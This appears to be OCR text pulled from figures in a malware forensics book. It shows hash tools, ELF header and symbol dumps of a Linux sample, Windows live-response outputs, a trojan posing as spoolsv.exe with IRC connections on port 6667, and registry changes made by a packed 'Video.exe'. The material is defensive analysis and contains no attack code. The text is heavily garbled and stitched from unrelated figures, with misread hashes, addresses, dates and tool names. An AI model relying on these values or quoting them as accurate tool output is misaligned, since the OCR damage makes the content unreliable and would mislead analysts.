- Generic Marvell Yukon Chipset based Ethernet Controller
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lab@MalwareLab:~/Malware Repository$ mdSdeep sysfile

282075c83e2¢9214736252a196007a54  /home/lab/Malware Repository/sysfile
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MDS5/sSDeep Hashes

ELFFile

strings of Value

No File Obfuscation

Internet Connectivity.

Symbol Files of Value

Metadata Artifacts.

ELF Structure Clues.
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E:\WinIR\diamondcs>iplist.exe
DiamondC$ TP Enumerator v1.0 (www.diamondcs.com.au)

¢ ADDRESS BROADCAST NETMASK
-2039568192  192.168.110.134 255.255.255.255 255.255.255.5.0
16777343 127.0.0.1 255.255.255.255 255.0.0.0

2 interfaces found.
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Application exception occurred:
App: C:\WINDOWS\system32\lsass.exe (pid=992)
When: 3/31/2007 @ 16:13:47.792
Exception number: c0000005 (access violation)

> system Information <----+

Computer Name: <unknown machine name>
User Name: <unknown user name>
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labfivialvacelab:~/Nalvaze Repositoryy mijeun aynfile > adi-ayelile.tat

lab@MaluareLab:~/Maluare Repository$ mdSsum sysfile >> maluare-hashes.txt
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Objdump Command Option Output

- Section Headers

x Al Headers

9 Debug information

t Symbols

B Dynamic Symbols

G Stabs

gl Line numbers \
s source i
I Relocation sections |
R Dynamic relocation sections \
-s Full Contents \
w Dwarf information \
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E:\WinIR\Sysinfo >hostname
Kin-mrktg-wss

E:\RinIR\Sysinfo >whoami
Kim

E:\WinIR\Sysinfo >ver
Microsoft Windows XP [Version 5.1.2600]





OEBPS/images/f000049gr15.jpg
Name ke | Entry Last
% stoonli] 0913507 08:40:24P01 0903107 08:40:295M 03j03{07 051402961
3 pagerli]eni 09133107 0B:40:53PH  09/03/07 0B40:SSPH  09/03/07 0B4O:SIPM  C3/03/07 03:40:59PM
13 page2(t] htmi 09/03/07 08:41:11PM 090307 0:41:11PM  09/03/07 05:41:11PH  09/03/07 0B:41:11PM
3, pagezl1] e O9I05/07 OB41:11PM  0S/03/07 CB4L:1IPHA  OSJUSI07 OBALELIPN  09/03(07 0B:41:11PM
03 U] EXE-002F6027.5F 0910307 0841237 03/03/07 08-AL:23PM  OSIOSIO7 DBALIZIM 090307 0B:41:23PM
0 drd.exe O9IUS07 08:41:25PM  0S/05/07 08-41:23P00  0S/09I07 OE:1S:09PM 090907 06 3:05M
0 DIRXS.E4E-03575240.56 O9I007 0841300 03/03107 0B-41:33PH 0SJ0BIO7 OBALLTRM  09I09(07 06:05:268M
(3 page3(1].htm 09/03/07 08:42:55PM  09/03/07 08:42:S5PM  09/03/07 08:42:55PM  03/03/07 08:42:55PM
D, refresh{1]. xe 09105107 GBrsSTOM  03/03107 GziSSP 0Sjuio? 0303107 035215591
D) REFRESH1L.EXECFORCEASE 0910307 0B:43.09PN  0S/03/07 08:43:09°M 03/03/07 08:43:0%M
[ CAGTE7WT.swf 09/03/07 08:43:29PM  09/03/07 08:43:29PM 09/03/07 08:43:29PM
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E:\WinIR\Sysinfo>date /t
Tue 03/18/2008

E:\WinIR\Sysinfo>time /t
09:38 AM

E:\WinIR\Sysinfo>now.exe

Tue Mar 18 9:38:46 2008
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Type of User: Local User
Rccount Description:

Primary Group Number: 513
Security Identifie

$-1-5-21-3495054330-
2650805779-3784137826-1005

User belongs to group: Administrators

Logon Script:

Profile Path: C:\Documents and
Settings\jsmith

Last Logon: 09/09/07 06:13:008M

Last Password Change: 09/03/07 08:04:238M

Last Incorrect Password Logon:

09/09/07 0y

User Name: jsmith

1121398
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lab@MalwareLab:~/Malware Repository$ mdSdeep -z sysfile
34203 282075c83e2c9214736252a196007a54  /home/lab/Malware Repository/sysfile
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E:\WinIR\Sysinfo>DumpWin.exe
Dumpiin v2.00 (Windows NT/2K)

Network Intelligence India Pvt. Ltd.

http: //www.nii.co.in

Arjun Pednekar (arjunpenii.co.in)

Parameters :

-i : List installed Programs.
-s : System Information.

List shares present.

List active Processes.
List Local Group Accounts
dumpACL

-a : ALl of above.

“h ot

-d : Drive Information.
Check for Modem Drivers.
List Startup Programs.
List of Services.

List User Accounts.
Account Lockout Policy
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E:\WinIR\Sysinfo>psinfo
PsInfo v1.74 - Local and remote system information viewer
Copyright (C) 2001-2005 Mark Russinovich

Sysinternals - www.sysinternals.com

system information for \\KIM-MRKTG-WSS:

Uptime: 0 days 1 hour 33 minutes 57 seconds
Kernel version: Microsoft Windows XP, Uniprocessor Free
Product typ Professional

Product versior 5.1

service pack: 2

Kernel build number: 2600

Registered organization: **++++ Company

Registered owner: Kim

Install dats 8/27/2007, 1:03:53 PM

Activation status: Error reading status

IE version 6.0000

system root: C:\WINDOWS

Processors: 1

Processor spee 1.8 Gz

Processor type: Intel (R) Core(TH)2 CPU 6320 @
Physical memor: 1028 M8

Video driver: Radeon X1300 Series
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E:\WinIR\Sysinfo>uptime
\\KIM-MRKTG-WSS has been up for: 0 day(s), 0 hour(s), 52 minute(s), 20 second(s)
B:\WinIR\Sysinfo>psuptime.exe

PsUptime v1.1 - system uptime utility for Windows NT/2K
by Mark Russinovich
sysinternals - www.sysinternals.com

This computer has been up for 0 days, 0 hours, 52 minutes, 48 seconds.
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URL Name hetp

status : Enabled
Description : URL:HyperText Transfer Protocol

Command-Line Program Files\Internet Explorer\iexplore.exe" -nohome
Product Name + Microsoft® Windows® Operating System

Company Name : Microsoft Corporation

URL Name :ire

status Enabled

Description URL:IRC Protocol

Command-Line + \WINDOWS\ temp\spoolsv\spoolsv.exe” -noconnect
Product Name mIRC

Company Name mIRC Co. Ltd.
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HVEDOAL . axe

svchost .exe

svehost.exe
svchost.exe
explorer.exe
spoolsv.exe
msmsgs . exe
nlgiaxe
wscntey.exe
wuauclt.exe
dllhost.exe
spoolsv.exe
cnd. exe
umiprvse.exe
umiprvse. exe
tasklist.exe

290
1084

1128
1180
1480
1600
1760
1196
1700
1036

804

864
1644

556

216
1684

npche
AudioSrv, Cryptsve, Dhep, dmserver, ERSve,
EventSystem, FastUserSwitchingCompatibility
helpsve, lanmanserver, lanmanworkstation
Netman, Nla, Schedule, seclogon, SENS,
SharedAccess, ShellHWbetection, srservice,
Themes, TrkWks, W32Time, winmgnt, wscsve
wnauserv, WZCSVC

bnscache

Lnbosts, RemoteRegistry, SSDPSRV, WebClient
WA

spooler

w/A

ALG

WA

WA

cotsyshpp

WA

WA

WA

WA

n/A
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Active lnterset comnections {servers and established)

Foreign
Address

0.0.0.0:
0.0.0.0:%
0.0.0.0:%
0.0.0.0:*
0.0.0.0:%

172.16.215.
131:48799

172.16.215.
1:7777

0.0.0.0:%
0.0.0.0:*
0.0.0.0:*

I-Node
1085
1714

1683

6419
6ate
1727
1681
1651

Proto  Recv-0  Send-Q  Local
hadress
tep 0 0 0.0.0.0:32768
tep 0 0 127.0.0.1:32769
tep 0 0 0.0.0.0:111
tep ] 0 0.0.0.0:22
tep 0 0 127.0.0.1:25
tep ° ° 172.16.215.129:22
tep ] 0 172.16.215.
120:32775
udp 0 0.0.0.0:32768
udp 0 0 0.0.0.0:60
udp 0 ] 0.0.0.0:111
Active UNIX domain sockets (servers and established)
Proto Refcnt Plags  Type State
unix 10 ] DGRAM
unix 2 [ RCC ) STREAM  LISTENING
unix 2 [ ACC ) STREAM  LISTENING
unix 3 ] STREAM  CONNECTED
unix 3 [} STREAM  CONNECTED
unix 2 01 DGRAM
unix 3 [} DGRAN
unix 2 [} DGRAN
unix 2 8] DERAM

1637

State

LISTEN
LISTEN
LISTEN
LISTEN
LISTEN

ESTABLISHED

PID/
Brogran nane

561/rpc statd
694/xinetd
542/portmap
680/zshd

717/sendmail:
accep
1885/sshd

5822/nc

561/rpc.statd
468/dhclient
542/portmap

PID/Program name  Path

521/syslogd /dev/log

775/ xfs fenp/.
font-
unix/
£27100

737/gpn Jeew/
gpnetl

1885/sshd

1887/55hd

175/xfs

746/crond

727/c1ientmyueue

917/sendmail: accep
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B:\WinIR\Services>tasklist /svc

Image Name PID Services
System Idle Process 0 w/A

system FRN

smss.exe 520 N/A

csrss.exe 668 /A

winlogon.exe 692 /A

services.exe 736 Eventlog, PlugPlay

Lsass.exe 748 PolicyAgent, ProtectedStorage, SamSs

AL DU P BB Dasutanneks Daraiatelos:
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t&4] cUeONg_BbTaY  FAORBLIR
(26] .debug_line PROGBITS
(29] .debug_trame PROGBITS
(30] .debug_str PROGBITS
(31] .shstriab STRTAB
(32] .symtab suias
(33] .streab STRTAB

Key to Flags:

butuubun
00000000
00000000
00000000
00000000
00000000
00000000

W (write), A (alloc), X (execute), M (merge), S

I (info), L (link order), G (group), x

0 (extra 0S processing required) o (0S specific), p (processor specificl

(unknown)

WNaaDs
005£d9
0061e8
0061£c
0068b6
006£34
00784

duRizse U9

000204
000014
0006ba
000126
000450
000917

(strings)

00
00
01
00
10
00

s
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registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe
HKCU\Software\Microsoft\Windows\CurrentvVersion\Internet Settings\ZoneMap\
UNCAsIntranet

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\

ProxyBYpas

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe
HKCU\Software\Microsoft\Windows\Currentversion\Internet Settings\ZoneMap\

IntranetName
SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\

registr:

UNCAsIntranet
SetvValuekey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ (03071081~
B78£-11da-a9c4-806d6172696£} \BaseClass

registr:

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\ { Fc£32938-
cbfb-11da-968b-80646172696¢] \BaseClass
registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{030710de-
878£-11da-a9c4-80646172696£ }\BaseClass

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -:
HKCU\Software\Microsoft\Windows\Currentversion\Internet Settings\User Agent\
Post Platform\EmbeddedWs 14,52 from: http://www.bsalsa.con/ Embedded Web Browser
from: http://bsalsa.com/

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosoft\Windows\Currentversion\Explorer\Shell Folders\Common
AppData

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData
SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -

registr:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy

registr:

SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -

HKCU\Software\Microsoft\Windows\Currentversion\Internet Settings\ProxyEnable
registry: DeleteValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe

-> HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer

registry: DeleteValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe
-> HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride
DociRents and. Settinos\Milwire Lab\Desktop\Vides:axe

realativs DeleteValuaRsy:
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hadress Hntype  Nwaddreas Flags Mask 1face
172.16.215.1 ether 00:50:56:C0:00:01 € etho
197 16 215 131 ather 00-0C-20-0D-RE-CR wthl
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registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Microsof t\Windows\CurrentVersion\Internet Settings\Cache\Paths\
birectory

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
Paths

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
pathl\CachePath

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
path2\Cachepath

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosof t\Windows\CurrentVersion\Internet Settings\Cache\Paths\
path3\Cachepath

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
pathd\Cachepath

registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKLM\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
pathl\CacheLimit

registry:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
path2\CacheLimit

registr:
HKLM\SOFTWARE\Mi crosoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
path3\CacheLimit

registr:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\
pathd\CacheLimit

registr:
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\shell Folders\Cookies

registry:

SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -

SetvalueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -

SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
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registry: Setvaluekey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
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registry: SetValueKey C:\Documents and Settings\Malware Lab\Desktop\Video.exe -

HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\
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NoTE 0x000108 0x08048108 0x08048108 0x00020 0x00020 R  Ox4

Section to Segment mapping:
Segment Sections...

00
o1 .interp
02 .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version
.gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
03 .data .dynamic .ctors .dtors .jcr .got .bss
04 ~dynamic

05 .note.ABI-tag
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E:\WinIR\Ports>netstat -anb
<excerpt>
Active Connections

Proto local Address Foreign Address
TP 0.0.0.0:113 0.0.0.0:0
[spoolsv.exe]

TCE 0.0.0.0:135 o.
:\windows\system32\WS2_32.d11
\WINDOWS\systen32\RBCRT4.d11
\windows\system32\rpcss.dLl

: \WINDOWS\system32\svchost .exe
+ \WINDOWS\system32\ADVAPI32.d11
svchost .exe]

o
c
c
c
t

TCP  192.168.110.134:1080  192.168.110.135:6667
Sy At

state
LISTENING

LISTENING

ESTABLISHED

1D
86

988

864
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[SHT correlation]
[Object sysfile]

[*] SHT is not stripped

[00] PT_PHDR
(01] PT_INTERP .interp

(02] PT_LOAD .interp .note.ABI-tag .hash .dynsym .dynstr
.gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata
.eh_frame

[03] PT_LOAD .data .dynamic .ctors .dtors .jor .got

(04] PT_DYNAMIC .dynamic

(05] PT_NOTE .note.ABI-tag
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E:\WinIR\Network>netstat -ano

Active Connections

Proto
e
ce
ce
ce
e
P
uoe
uop
uoe
uoe
upe
upe
upe
uoe
upp
uoe
uop

Local Address
0.0.0.0:113
0.0.0.0:135
0.0.0.0:445
127.0.0.1:1028
192.168.110.134:139
192.168.110.134:1040
0.0.0.0:445

.0:500

.0:1035
.0:1047

.0:4500
127.0.0.1:123
127.0.0.1:1900
192.168.110.134:123
192.168.110.134:137
192.168.110.134:138
192.168.110.134:1900

Foreign Address
0.0.0.0:0

0.0.0.0:0

0.0.0.
0.0.0.
0.0.0.
0. 300 3008 3008 6667

state
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
ESTABLISHED

pID
864
988

1196

864

748
748
748
760
1084
1180
1084

1180
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Function Name :
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Relative Address
ordinal

Filename

Full Path

Type

GetAcceptExSockaddrs
0x71ad28ad
0x000028ad

1142 (0x476)

wsock32.dll
+ C:\WINDOWS\system32\wsock32.d11

Exported Function
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lab@Malvarelab:~/Malware Lab/Windows Malwares java -jar SigBuster.jar -f Video.exe
SigBuster version 1.1.0 starting up. Happy hunting!

Initializing databases.

Loaded 466 EPO signatures into ScanEngine.

Scanning -> Video.exe

Signature found: [ASPack v2.12 SN:750)

Signature found: [ASPack vna SN:1633)

Scan took 274lms

Directory scan took 2788ms

Scanned total 1, of which 1 were valid PE files.

Of the valid 1 files 1 got stamped with a signature.

Detection rate is 100.0%

Signature hit statistic:
1 [ASPack v2.12 SN:750]
1 (ASPack vna SN:1633)
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typedef struct{
E1£32 Word
E1£32_Addr
E1£32_Word
unsigned char
unsigned char
E1£32_Section

} E1£32 Sym,

st_name;
st_value;
st_size;
st_info;
st_other;
st_shndx;

’
e
e
7
7%
e

Synbol name (string tbl index) */
Symbol value +/

Symbol size */

Synbol type and binding */
Symbol visibility */

Section index */
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LLIMENDONG \HXAEERoE MCoLL AL
C:\WINDOWS \system32\kerne132.d11
C:\WINDOWS\system32\ADVAPT32.d11
C:\WINDOWS \systen32\RPCRT4 .d11
C:\WINDOWS \system32 \MeR. d11
C:\WINDOWS\system32\USER32 . d11
C:\WINDOWS \systen32\GD132 11
C:\WINDOWS \sys tem32\VERSTON . d11
C:\WINDOWS\ sys tem32\WSOCK32 . d11
C:\WINDOWS\systen32\Ws2_32.d11
C:\WINDOWS \system32\msvert .d11
C:\INDOWS\system32\WS2HEL® . d11
C:\WINDOWS \systen32\COMDLG32. d11
C:\WINDOWS \sys tem32\SHLWAPT .d11
C:\WINDOWS\inSS\X86_Microsoft.Windows.

Common-Controls_6595b64144ccfldf_6.0.2600.2180_x-ww_a84f1££9\COMCTL3Z.d11

OxTeIpUano, OXDODDY.  :3:03.2600.2200
0x7c800000 0x£4000  5.01.2600.2180
0x77d0000  0x9b000  5.01.2600.2180
0x7770000 0x91000  5.01.2600.2180
0x7120000 0x12000  5.01.2600.2180
0x7740000 0x90000  5.01.2600.2180
0x77£10000 0x46000  5.01.2600.2180
0x77c00000 0x8000  5.01.2600.2180
0x71ad0000 0x9000  5.01.2600.2180
0x71ab0000 0x17000  5.01.2600.2180
0x77c10000 0x58000  7.00.2600.2180
0x71220000 0x8000  5.01.2600.2180
0x76360000 0x49000  6.00.2900.2180
0x77£60000 0x76000  6.00.2900.2180
0x773d0000  0x102000 6.00.2900.2180
0x7c9¢0000 0x814000  6.00.2900.2180
0x76040000 0x2d000  5.01.2600.2180
0x774€0000 0x13c000 5.01.2600.2180
0x77120000 0x8c000  5.01.2600.2180
0x5ad70000 0x38000  6.00.2900.2180
0x7430000 0x6c000  5.30.0023.1221
0x71a50000 0x3£000  5.01.2600.2180
0x66250000 0x58000  5.01.2600.2180
0x71a90000 0x8000  5.01.2600.2180
0x76£40000  0x7£000

0x77050000 0xc5000  2001.12.4414.0258
0x20000000 0x2¢5000 5.01.2600.2180
0x71190000 0xe000  2.00.0000.3422
0x76£20000 0x27000  5.01.2600.2180
0x7660000 0x8000  5.01.2600.2180
0x76£60000 0x2c000  5.01.2600.2180
0X76£c0000 0x6000  5.01.2600.2180

C: \WINDOWS\systen32\SHELL32.d11
C: \WINDOWS\systen32\WINMM. d11

C: \WINDOWS\system32\OLE32. d11

C: \WINDOWS\systen32\OLEAUT32 . d11
C: \WINDOWS\systen32\uxthene . dll
C: \WINDOWS\systen32\riched20.d11
C: \WINDOWS\systen32\mswsock.d11
C: \WINDOWS\systen32\hnetcfg.dil
C: \WINDOWS\Systen32\wshtcpip. 1l

2001.12.4414.0258  C:\WINDOWS\system32\CLBCATQ.DLL

WINDOWS\system32\COMRes .d11

C: \WINDOWS\systen32\xpsp2res.dll
C: \WINDOWS\nsagent\agentmpx.d11
C: \WINDOWS\systen32\DNSAPT .d11
C: \WINDOWS\System32\winrnr.dl1
C: \WINDOHS\systen32\WLDAP32 . d11
C: \WINDOWS\systen32\rasadhlp.dll
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E:\WinIR\Processes>1istdlls.exe
ListDLLs v2.25 - DLL lister for WinSx/NT
Copyright (C) 1997-2004 Mark Russinovich
Sysinternals - ww.sysinternals.com

<excerpt>

spoolsv.exe pid: 864

Command 1in

C2\WINDOWS\ temp\spoolsv\spoolsv. exe
Base size Version Path
OX0CEA0000 OXLGRD00: 6500500030000 CHWINDONE\ CRlG\SHEEL U NEBOSTR  aiE
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Active Internet connections

Proto Recv-0 Send-0

tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
tep
cp

0

o
0
3
0
3
3
3
0
3
3
0
3
o
0
3
0
0
3
o

0

Local Address
127.0.0.1:2208
0.0.0.0:80

127.0.0.1:631
127.0.0.1:25
127.0.0.1:9050
127.0.0.1:2207
192.168.110.13
192.168.110.130:
192.168.110.130:48247
192.168.110.130:45880
192.168.110.130: 60501
192.168.110.130:43620
192.168.110.13
192.168.110.130:
192.168.110.13
192.168.110.13
182.168.110.13
192.168.110.130:57398
192.168.110.130:42019
192.168.110.130:46834

(servers and established)

Foreign Address
0.0.
0.0
0.0
0.0
0.0

0.0
xxx.211.23.5
xxx.211.22.9:80
x%x.211.22.108:80
xxx.211.23.98:80
xxx.211.23.62:80
x6x.211.22.121:80
xxx.211.23.49:80
xxx.211.22.105:80
x6x.211.22.122:80
xxx.211.23.11:80
xxx.211.23.123:80
x%x.211.22.52:80
xxx.211.22.112:80
xxx.211.23.99:80

0

state
LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

LISTEN

SYN_SENT
SYN_sENT
SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
SYN_sENT
SYN_SENT
SYN_SENT
SYN_sENT
SYN_SENT
SYN_SENT
SYN SENT

PID/Progran name

6194/g01
6194/g01
6194/g01
6194/g01
6194/g01
6194/g01
6194/g01
6194/go1
6194/g01
6194/g01
6194/go1
6194/g01
6194/g01
6194/gol
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MOLRS ASNERES
Remote Port
Remote Port Name
Remote Address
Remote Host Name
state

Process Path
Product Name
File Description
File Version

Company

Gy

0.0.0.0

Listening
C:\WINDOWS\ temp\spoolsv\spoolsv. exe

: mIRC
: mIRC

Process Created On:

User Name

Process Services

Process Attributes:

6.03
mIRC Co. Ltd.
3/18/2008 1:52:20 2
KIM-MRKTG-WS5\Kim

ARHS

Process Name
Process ID
Protocol

Local Port
Local Port Name
Local Address
Remote Port
Remote Port Name
Remote Address
Remote Host Name
state

Process Path
Product Name
File Description
File Version
Company

spoolsv.exe
864

ce

1040

192.168.110.134
6667

Louder . xxxx.com
Established
C:\WINDOWS\ temp\spoolsv\spoolsv.exe

: mIRC
: mIRC

Process Created On:

User Name
Process Services

Process Attributes:

6.03
mIRC Co. Ltd.
3/18/2008 1:52:20 oM
KIM-MRKTG-WSS\Kim

ARHS
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Spoolsv (PID 1600) Spoolsv (PID 864)
<excerpt> <excerpt>
spoolsv.exe pid: 1000 NT spoolsv.exe pid: 864 KIM-MRKTG-WSS\Kim
AUTHORITY\SYSTEM C: File (RW-) C:WINDOWS\Temp\spoolsv

C:File (RW-) C:AWINDOWS\system32 | 614: Port

10: Section 618: Event

14: Directory  \Windows 624: File (- \Device\Afd\Endpoint

18: Port : \Device\Tep

1C:Key  HKLM \Device\Tcp

20: Directory \BaseNamedObjects Event

24: Mutant 638: File () \Device\Tcp
\Windows\WindowStations\WinSta0 63C: Event

38: Event 640: File (-—) \Device\Tcp

emaphore 644: Event

40: Semaphore 648: Event

44: Key 64C: Port
HKLM\SOFTWAREWicrosoftWindows 650: Event
NT\CurrentVersion\Drivers32 654: Token NT AUTHORITY\NETWORK

48: Event SERVICE:3e4
\BaseNamedObjects\DINPUTWINMM 658: Event

4C: File (~) \Device\KsecDD 65C: Port

50: Event

54: Event

58: Event

5C: Semaphore
\BaseNamedObjects\shell.{(A48F 1A32-
A340-11D1-BC6B-00A0C90312E 1)

60: File ()
\Device\NamedPipe\netiNtControlPipe7

AB: File ()
\Device\NamedPipe\spoolss

AC: File ()
\Device\NamedPipe\spoolss

660: File () \Device\Tcp
664: File () \Device\Tcp
668: File ()
\Device\NetBT_Tcpip_{2DCO0EGE-ADS1-4E04-
85A1-101876F63F96}

670: Event

78C: Key
HKLM\SYSTEM\ControlSet001\Services\WinSock
2\Parameters\NameSpace_Catalogs

790: Event

794: Key
HKLM\SYSTEM\ControlSet001\Services\WinSock
2\Parameters\Protocol Catalog®
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C:\Documents and Settings\Malware>pedump
:\Documents and Settings\Malware\Desktop\Video,exe"

Dump of file VIDEO.EXE

File Header

Machine: o14c (1386)

Number of Sections: 000A

TimeDateStany 2A25E19 -> Fri Jun 19 15:22:17 1992
PointerTosymbolTable: 00000000

NumberOfSynbols: 00000000

Sizeofoptionaltieader: 00E0

Characteristics: 8185

EXECUTABLE_IMAGE
LINE_NUMS_STRIPPED
LOCAL_SYMS_STRIPPED
BYTES_REVERSED_LO
328IT_MACHINE
BYTES_REVERSED_HI

Optional Header

Magic 0108
linker version 2.25
size of code DB200
size of initialized data BBC200
size of uninitialized data 0
entrypoint RVA c98001
base of code 1000
base of data D000
image base 400000
section align 1000
file align 200
required 0S version 4.00
image version 0.00
subsystem version 4.00
Win32 Version 0

size of image €a7000
size of headers 400
checksum 0
Subsystem 0002 (Windows GUI)
DLL flags 0000
stack reserve size 100000
stack commit size 4000
heap reserve size 100000
heap commit size 1000
RVAs & sizes 10

Data Directory

EXPORT 00000000 size: 00000000
1MPORT 00COEFAC  size: 00000498
RESOURCE 000F6000 size: 00BATCO0
EXCEPTION 00000000 size: 00000000
SECURITY 00000000 size: 00000000
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31

symbol table *.symtab’

Num:
0:
1:
2:
EN
a:
5:
6
7:
8:
EN

10:
11:
12:

08048c54
08048c64
08048c74
08048c84
08048094
08048cas
08048cha

: 08048ccd

08048cds
08048ces
08048c£4
08048404
08048414

: 08048024
: 08048034

08048414

: 0804854

0804be84

: 0804864

08048474
0804884
08048494
08048dad
08048db4
00000000
08048dc4

Value
00000000
080480£4
08048108
08048128
08048228
08048638
080487£0
08048864
08048894
0804889c
08048a4c
08048a64
08048dad
0804be6d
0804be80
0804c£34

: 0804000

0804120
0804d1e8
0804d1£0

100 FUNC
426 FONC
57 FONC
39 FUNC
397 FUNC
94 FUNC
458 FUNC
278 FUNC
217 FUNC
45 FUNC
185 FONC
60 FUNC
14 FoNC
67 FNC
120 FONC
181 FUNC
53 FUNC
4 oBJECT
227 FUNC
58 FUNC
120 FUNC
52 FUNC
57 FUNC
32 FuNC
0 NOTYPE
48 FuNC

size Type

0 NOTYPE

contains

‘GLOBAL
GLoBAL
GLoBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLoBAL
GLoBAL
GLoBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL
GLOBAL

GLOBAL DEFAULT

GLOBAL

GLOBAL DEFAULT
DEFAULT

WEAK
GLOBAL

DEFAULT UND toupper@GLIBC 2.0 (2)
DEFAULT UND strcat@GLIBC 2.0 (2)
DEFAULT UND bind@GLIEC 2.0 (2)
DEFAULT UND memepyGLIEC 2.0 (2)
DEFAULT UND fclose@GLIBC 2.1 (3)
DEFAULT UND srand@GLIBC 2.0 (2)
DEFAULT UND gethostbynamedGLIEC 2.0 (2)
DEFAULT UND strcasecmp@GLIEC_2.0. (2)
DEFAULT UND exit@GLIBC_2.0 (2)
DEFAULT UND atoi€GLIBC 2.0 (2)
DEFAULT UND free@GLIBC_2.0 (2)
DEFAULT UND £octlGLIEC 2.0 (2)
DEFAULT UND htons@GLIBC 2.0 (2)
DEFAULT UND memset@GLIEC 2.0 (2)
DEFAULT UND connectGLIEC 2.0 (2)
DEFAULT UND strncpy@GLIBC 2.0 (2)
DEFAULT UND fopen@GLIBC 2.1 (3)

DEFAULT

14 _10_stdin_used

DEFAULT OND 5trtok@GLIBC_2.0 (2)
DEFAULT UND kill@GLIEC_2.0 (2)
GLOBAL DEFAULT

UND recv@GLIBC 2.0 (2)
UND sprintf@GLIBC 2.0 (2)

DEFAULT UND socket@GLIBC 2.0 (2)

OUND rand@GLIBC_2.0 (2)
UND _gmon_start__

DEFAULT UND Strcpy@GLIBC 2.0 (2)

213 entries:

Bind
LocaL

0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL
0 SECTION LOCAL

vis
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT
DEFAULT

Ndx Name
onp

11
12
13
14
15
16
17
18
19
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lab@MalwareLab:~/Malware Repository$ readelf

Symbol
Num:

table '.dynsyn' contains 57 entries:

value
00000000
08048a74
08048284
08048294
08048224
08048ab4
08048ac4
08048ad4
08048ae4
08048az4
08048504
08048b14
08048b24
08048034
0804844
08048b54
0804864
08048b74
08048184
08048094
08048bad
08048bb4
08048bc4
08048bd4
08048bed
08048b£4
08048c04
08048c14
08048c24
08048c34
08048c44

size
0
45
7
198
109
I
87
124
13
20
38
148
136
57
120
180
57
436
%
120
57
158
64
339
175
513
179
241
42
823
251

Type
NOTYRE
FUNC
FUNC
FUNC
FUNC
FUNC
FUNC
